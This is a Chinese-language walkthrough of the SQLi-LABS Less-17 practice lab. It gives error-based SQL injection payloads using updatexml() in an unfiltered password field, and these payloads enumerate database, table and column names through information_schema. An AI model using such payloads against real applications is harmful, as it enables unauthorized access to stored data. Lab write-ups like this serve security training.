SQLi LABS Less-17

简介: 第十七关请求方式为POST请求 , 注入点为 单引号字符型注入 , 注入方式为 报错注入第一步,判断注入类型

第十七关请求方式为POST请求 , 注入点为 单引号字符型注入 , 注入方式为 报错注入

 

第一步,判断注入类型

先看源码


image.png

image.png

用户名会过滤特殊字符 , 但密码没有过滤 , 但需要用户名正确才能执行修改密码的SQL

输入正确的用户名,密码处输入

1' and updatexml(1,'~',3) #

updatexml() , 第2个参数包含特殊符号时,会报错并在错误信息中显示第2个参数的内容


image.png


报错信息正常展示 , 固 错误注入

第二步,获取所有数据库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名字

1' and updatexml(1,concat('~',
substr(
(select group_concat(schema_name)
from information_schema.schemata)
,50,31)
),3) #

image.png

下一步,根据security数据库,获取其所有表

 

第三步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名

1' and updatexml(1,concat('~',
substr(
(select group_concat(table_name)
from information_schema.tables
where table_schema='security')
,1,31)
),3) #

image.png

users为用户表 , 下一步根据users表 获取其所有字段

 

第四步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

1' and updatexml(1,concat('~',
substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema='security'
and table_name='users')
,1,31)
),3) #

image.png


相关文章
SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号
120 0
SQLi LABS Less-31
SQLi LABS Less-27
第27关使用GET请求传递参数,在url中构造payload即可 源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
279 0
SQLi LABS Less-27
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
180 0
SQLi LABS Less-29
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
SQLi LABS Less-22
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
118 0
SQLi LABS Less-16
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
139 0
SQLi LABS Less-21
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
146 0
SQLi LABS Less-27a
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
142 0
SQLi LABS Less-19
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
234 0
SQLi LABS Less-26
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
116 0
SQLi LABS Less-30